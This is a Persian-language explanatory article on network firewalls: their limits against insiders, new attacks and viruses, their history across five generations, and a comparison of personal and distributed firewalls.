یک دیواره آتش قادر است سطوح مختلفی از امنیت را برای بخشهای مختلف پیادهسازی کند: از دیوارههای آتش گاهی برای جدا نگه داشتن یک بخش از بخشهای دیگر استفاده میشود. این حالت زمانی اتفاق میافتد که یک بخش از شبکه بیشتر از بخشهای دیگرحساس باشد و نیازمند امنیت بیشتری باشد. بدین ترتیب با استفاده از دیوارههای آتش میتوان بخشهای مختلف با سطوح امنیتی مختلف را ایجاد نمود. این مسأله باعث میشود بروز مشکلات امنیتی نتواند تمام سرتاسر شبکه را تحت تأثیر قرار دهد و برخی بخشهای مهمتر و حساستر مصون بمانند. دیوارههای آتش در مجموع قادرند شبکه را در برابر تهدیدات مختلف تا حد زیادی مورد محافظت قرار دهند، اما آنها راه حل امنیتی کامل و بدون عیبی نیستند. برخی از خطرات و مشکلات از کنترل دیواره آتش خارج هستند و برای مقابله با آنها باید از روشهایی مانند ایجاد مکانیزمهای قوی امنیت فیزیکی، " مصونیت میزبان" و آموزش کاربران و مدیران و... استفاده کرد.
ناتوانیهای دیوارههای آتش در ادامه برخی از ناتوانیهای دیوارههای آتش را مورد بررسی قرار میدهیم:
یک دیواره آتش نمیتواند شبکه و منابع آن را از خرابکاران داخلی محافظتکند: دیواره آتش ممکن است بتواند از اینکه اطلاعات مفید سازمان از طریق خط ارتباطی شبکه به بیرون انتقال یابند جلوگیری کند اما هنگامی که این اطلاعات از خط ارتباطی عبور نمیکنند نمیتواند هیچکاری انجام دهد. کاربری ممکن است با استفاده از یک دیسک، Floppy، CD و یا تعدادی ورقه که آنها را در کیفش قرار میدهد اطلاعات حساس سازمان را به بیرون انتقال دهد. در مقابله با این نوع کاربران (که ممکن است اطلاعات داخل را عمداً و یا سهواً از روی غفلت افشا کنند)، دیوارههای آتش ناتوان هستند و هیچکاری از دستشان ساخته نیست. برخی از افراد داخلی سطوح دسترسی بالایی را در شبکه دارا هستند و مجازند به منابع مختلف در شبکه دسترسی داشته باشند، این افراد قادر خواهند بود سخت افزارها را خراب کنند، نرم افزارها و برنامههای مختلف را دچار مشکلکنند، به طور ماهرانهای برنامهها را تغییردهند، سطوح دسترسیها را دستکاری کنند و.... واقعیت این است که دیوارههای آتش در مقابله با این مشکلات کاری نمیتوانند انجام دهند.
یک دیواره آتش نمیتواند از بروز تمام مشکلات امنیتی جلوگیریکند: دیواره آتش برای مقابله با خطرات شناخته شده طراحی شده است. مدیران شبکه با شناختی که از حملات و خطرات مختلف دارند و با تصویب تعدادی قوانین و اجرای آنها توسط دیواره آتش سعی میکنند از بروز آنها جلوگیری کنند، اما واقعیت این است که روز به روز حملات و مشکلات امنیتی جدیدی به وجود میآیند و دیواره آتش نمیتواند به طور خودکار با این خطرات مقابله کند. دیواره آتش نیز مانند تجهیزات دیگر توسط مدیر سیستم پیکربندی میشود و پیرو دستوراتی است که مدیر میدهد. یک پیکربندی خوب تا حدودی قادر خواهد بود از خطرات جدید نیز جلوگیریکند. در این پیکربندی هیچ ترافیکی عبور داده نمیشود غیر از ترافیک مربوط به تعداد بسیار اندکی سرویس مطمئن. خرابکاران به طور مرتب راههای جدیدی برای نفوذ و خرابکاری پیدا میکنند. آنها یا از سرویسهای مطمئن شناخته شده سوء استفاده میکنند ویا مشکلاتی که تا کنون برای کسی رخ نداده (و بنابراین هیچ کس راجع به آنها چیزی نمیداند و به همین دلیل در هیچ دیواره آتشی در نظر گرفته نشده) را به کار میبندند. یک دیواره آتش را نمیتوان یک بار پیکربندی کرد و انتظار داشت برای همیشه شبکه را از هر خطری مورد محافظت قرار دهد.
یک دیواره آتش معمولاً نمیتواند از ورود ویروسها جلوگیری کند: اغلب دیوارههای آتش بخشهای مربوط به آدرس مبدأ و آدرس مقصد و شماره پورت مبدأ ومقصد شبکههای ورودی را مورد بازرسی قرار میدهند و به جزئیات داده توجهی ندارند. پیادهسازی بخش تشخیص ویروس و بررسی کامل داده بستهها در دیوارههای آتش زیاد عملی وکارا نیست. انواع بسیار زیادی از ویروسها وجود دارند و روشهای زیادی برای آنکه ویروس خودش را در داخل داده مخفیکند وجود دارد. تشخیص ویروس (Virus Detection) در یک بسته تصادفی از دادهای که از دیواره آتش عبور میکند بسیار مشکل است. برای تشخیص ویروس در بستهها نیازمندیهای زیر وجود دارد:
- تشخیص این مطلب که بخش داده بسته بخشی از یک برنامه است.
- مشخص کردن اینکه یک برنامه مجاز چگونه است و چه ویژگیهایی دارد.
- تشخیص این که تفاوتی بین این برنامه و مدل برنامههای بدون مشکل و مجاز وجود دارد و بنابراین برنامه یک ویروس است.
اغلب دیوارههای آتش ماشینهایی از انواع مختلف و با فرمتهای اجرایی مختلف را مورد محافظت قرار میدهند.
یک برنامه ممکن است یک برنامه کامپایل شده قابل اجرا و یا یک script باشد. علاوه بر این، بسیاری از برنامهها قبل از اینکه انتقال یابند به شکل یک Package در میآیند و به خوبی فشرده سازی میشوند. این مسایل باعث میشود پیچیدگی مسأله تشخیص ویروسها بالاتر رود و پیادهسازی آن مشکل باشد. با این همه باز هم نمیتوان تمامی منابع دیگر انتقال ویروسها را کنترل کرد. بسیاری از برنامهها ممکن است از طریق مودمهای اشخاصی که به اینترنت متصلند و از دیواره آتش رد نمی شوند download شوند و یا با یک floppy از محل سکونت به شبکه داخلی سازمان انتقال یابند و ... روش عملی تر مقابله با ویروسها استفاد از نرم افزارهای host-base virus protection است. آموزش کاربران و آگاه کردن آنها از خطرات ویروسها نیز می تواند مؤثر باشد.
تاریخچه
اگر چه تکنولوژی دیوارههای آتش جوان است و تازه شکل گرفته اما بسیار سریع رشد کرده و در کمتر از بیست سال تحولات زیادی را پشت سر گذاشته است.
اولین نسل از دیواره های آتش در حدود سال 1985 بوجود آمدند و " دیواره های آتش پالایشگر بسته" (Packet filter firewalls) نام گرفتند. ایده اصلی آنها از امکانات نرم افزاری گرفته شده بود که متعلق به شرکت Cisco بود و تحت عنوان (IOS (Internetworking Operation system شناخته می شد. اولین مقاله در ارتباط با فرآیند غربال کردن (Screening Process) که توسط این نوع دیواره های آتش مورد استفاده قرار می گرفت در سال 1988 منتشر شد.
در سال 1989 آزمایشگاه شرکت AT&T برای اولین بار نسل دوم دیوارههای آتش که در آینده "دیوارههای آتش سطح مدار" (Circuit level firewalls) لقب گرفتند را بوجود آوردند. در همان سال آنها همچنین اولین مدل عملی (Working Model) از نسل سوم دیوارههای آتش یعنی "دیوارههای آتش لایه کاربرد" (Application layer firewalls) پیادهسازی کردند اما نه هیچ مقالهای در این ارتباط منتشر شد و نه محصولی بر اساس این مدل به بازار عرضه گشت.
در اواخر سال 1989 و اوایل دهه 90 تحقیقات مختلف و پراکنده ای در سطح کشور آمریکا بر روی نسل سوم دیواره های آتش انجام شد و بالاخره نتایج این تحقیقات به صورت جداگانه درسال های 1990 و 1991 توسط Gene Spafford از دانشگاه Bill Cheswick,Purdue از لابراتوری Bell شرکت AT&T و Marcus Ranum انتشار یافتند. در سال 1991 تحقیقات Marcus Ranum بیشترین توجه را به خودش معطوف کرد و باعث بوجود آمدن Bastion host هایی که سرویس proxy را اجرا می کردند شد. نتایج این تحقیقات به سرعت در اولین محصول تجاری شکل عینی یافت و به کار گرفته شد. این محصول که SEAL نام داشت توسط شرکت DEC عرضه شد.
در اواخر سال1991، Bill Cheswick و Steve Bellovin تحقیقاتی را در ارتباط با پالایش کردن بسته ها به صورت پویا (Dynamic) شروع کردند و بر این اساس محصولی داخلی را در لابراتوار Bell پیادهسازی کردند که البته هرگز به بیرون عرضه نشد. در سال 1992، Bob Barden و Annette DeSchon در مؤسسه USC’s Information Sience Institute تحقیقاتی را بر روی نسل چهارم دیوارههای آتش تحت عنوان "دیوارههای آتش پالایشگر بسته پویا" (Dynamic packet filter firewalls) برای سیستمی با نام Visas به طور جداگانه شروع کردند و در نهایت نرم افزار Chech Point، اولین محصول تجاری بر پایه معماری نسل چهارم دیواره های آتش، در سال 1994 به بازار عرضه شد.
در سال 1996، Scott Wiegel طرحی را برای نسل پنجم دیوارههای آتش با عنوان Kernel Proxy ارائه داد. دیواره آتش Cisco Centri که درسال 1997 پیاده سازی شد اولین محصول تجاری بر اساس معماری این نسل بود.
در سال های اخیر نیاز به سیستم های امنیتی که پرسرعت و در عین حال قابل گسترش(Extensible)، قابل نگهداری(Maintainable) و انعطاف پذیر (Flexible) باشند باعث شده است شرکت های فعال در زمینه امنیت در تکاپوی یافتن راه حلهایی مناسب و کاربردی برای پاسخگویی به این نیازها باشند.
انواع دیوارههای آتش
دیوارههای آتش پالایشگر بسته
دیوارههای آتش سطح مدار
دیوارههای آتش لایة کاربرد
دیوارههای آتش پالایشگر بسته پویا
دیوارههای آتش Kernel Proxy
دیوارههای آتش مخفی
دیوارههای آتش توزیع شده
دیوارههای آتش شخصی
دیوارههای آتش با توسعهپذیری بالا
دیوارههای آتش نرمافزاری.
دیوارههای آتش اختصاصی
دیوارههای آتش شخصی
دیوارههای آتش شخصی (که به آنها desktop firewalls نیز گفته میشود) نرمافزارهایی هستند که برای محافظت از یک کامپیوتر تنها که به اینترنت متصل است مورد استفاده قرار میگیرند. این کامپیوتر ممکن است به طور دائمی (از طریق خطوط Cable modem , DSL) و یا موقت (از طریق ارتباطات Dial-up) به اینترنت متصل باشد. در مقایسه با برنامه های anti-virus دیواره های آتش در background و در سطحی پایین تر اجرا می شوند. دیواره های آتش شخصی با چک کردن جامعیت فایل های سیستم، پالایش ترافیک ورودی و خروجی، اخطار به کاربر در ارتباط با حملات در حال شکلگیری و .... سعی میکنند کامپیوتر مرتبط با اینترنت را مورد محافظت قرار دهند. در آیندة نزدیک امنسازی سیستمها با دیوارههای آتش شخصی به یکی از استانداردهای کامپیوترهای خانگی تبدیل خواهد شد.
دیوارههای آتش شخصی مانند دیوارههای آتش توزیع شده کار میکنند به جز چند مورد. در واقع قابلیتهای دیوارههای آتش توزیع شده بیشتر از دیوارههای آتش شخصی است. دیوارههای آتش شخصی برای محافظت از یک کامپیوتر تنها که به اینترنت متصل است استفاده میشود در حالی که دیوارههای آتش توزیع شده برای محافظت از کامپیوترهای موجود در یک شبکة بزرگ سازمانی طراحی شدهاند.یک شرکت یا سازمان می تواند با خرید یک distributed firewall solution، کارمندان دور، شبکههای محلی سازمان و شبکههای گستردهاش را مورد محافظت قرار دهد. مدیریت مرکزی، قابلیت logging در یک نقطة مرکزی و ریزسازی کنترل دسترسی(Access Control Granularity) ویژگیهایی هستند که در دیوارههای آتش شخصی وجود ندارند. میتوان گفت دیوارههای آتش شخصی مستقل و مجزا هستند در حالی که دیوارههای آتش توزیع شده با یک نقطة مرکزی در ارتباطند و در صحبت با او قادرند اطلاعات سیاستهای امنیتی را دریافت و اطلاعات ثبت شده و جمعآوری شده را ارسال کنند (به این علت به دیواره های آتش توزیع شده Firewall agent نیز گفته می شود). از دیوارههای آتش شخصی عموماً برای کامپیوترهای شخصی و خانگی استفاده میشود حال آن که دیوارههای آتش توزیع شده علاوه بر محافظت از کامپیوترهای شخصی و ایستگاههای موجود در شبکه قادرند سرویسگرهای مهم و حساس را نیز مورد محافظت قرار دهند. برخی از دیوارههای آتش توزیع شده را میتوان به گونهای پیکربندی کرد که کاملاً شفاف عمل کنند. آنها هیچ رابط گرافیکی ندارند و سیاستهای امنیتی بدون این که کاربر از آنها اطلاعی داشته باشد به دیوارة آتش منتقل میشود. بدین ترتیب درگیری کاربر نهایی حذف میشود و او نمیتواند در سیاستهای امنیتی مداخله کرده یا دیوارة آتش را غیر فعال کند. این قابلیت عموماً در دیوارههای آتش شخصی وجود ندارد.
برخی از دیوارههای آتش شخصی عبارتند از:
- ConSeal PC firewall
- ConSeal Private Desktop
- SyShield
- BlackICE Defender
- ZoneAlarm
- Norton Internet Security 2000 (firewall & virus protection)
- Internet Connection Firewall (Windows XP built-in personal firewall)